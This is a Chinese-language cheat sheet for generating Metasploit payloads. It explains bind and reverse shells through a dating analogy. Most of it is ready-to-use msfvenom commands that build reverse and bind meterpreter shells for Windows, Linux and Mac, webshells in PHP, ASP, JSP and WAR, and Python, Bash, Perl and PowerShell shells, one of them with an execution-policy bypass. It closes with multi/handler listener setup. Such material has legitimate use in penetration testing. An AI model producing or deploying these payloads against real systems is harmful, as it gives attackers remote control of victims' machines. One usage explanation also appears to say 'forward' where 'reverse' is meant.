MSF常用payload生成

两种方式

msf生成的payload分为正向和反向两种,正向需要正向连接,反向需要反向连接,反向是最常用的方式

正向连接指被攻击的目标机器通过正向的payload打开一个端口,攻击者的机器去连接目标机器的这个端口,从而建立连接
如果把攻击机器比喻成你,目标机器比喻成妹子,正向连接相当于你去追追妹子,最后建立了连接,两者可以互相通信

反向指攻击者的机器打开一个端口,目标机器运行反向payload来连接攻击机器的端口,从而建立连接
用上面的比喻,反向连接相当于妹子来追你,最后建立了连接,相互通信

使用场景

反向是比较常用的方式,在内网渗透中会使用到正向

如果目标机器能够出站与你的机器建立连接就可以使用正向,相当于你和妹子在一家公司上班,妹子可以主动找你,最后在一起了

如果?标处于深层?络,不能直接连通外?,也不能通过其他机器连通则可以使用正向,相当于妹子在家里宅着天天不出门,你为了追到手,只有去他家拜访一下

反向连接比正向连接更加稳定

常用反向payload生成

生成二进制文件

  • Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  • Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  • Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

生成Webshell脚本

  • PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  • ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
  • JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  • War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

生成其他shell脚本

  • Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
  • Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
  • Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
  • Powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f psh > shell.ps1 powershell.exe -ExecutionPolicy Bypass -File shell.ps1

常用正向payload生成

和反向有些相似

  • 32位Windows
msfvenom -p windows/meterpreter/bind_tcp  LPORT=<Attack Port> -f exe >/root/bind_xx.exe
  • 64位Windows
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe

其他版本的payload生成以此类推

MSF接收

反向

msfconsole 
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp       # 这里替换为生成使用的payload
set LHOST your-ip    # msf所在机器的ip
set LPORT your-port              # 连接的端口
exploit

正向

msfconsole
use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp          # 这里替换为生成使用的payload
set RHOST victim-ip       # 目标机器的ip
exploit

注意

注意目标机器系统是32位还是64位
生成的payload都需要在目标机器上成功运行才能够连接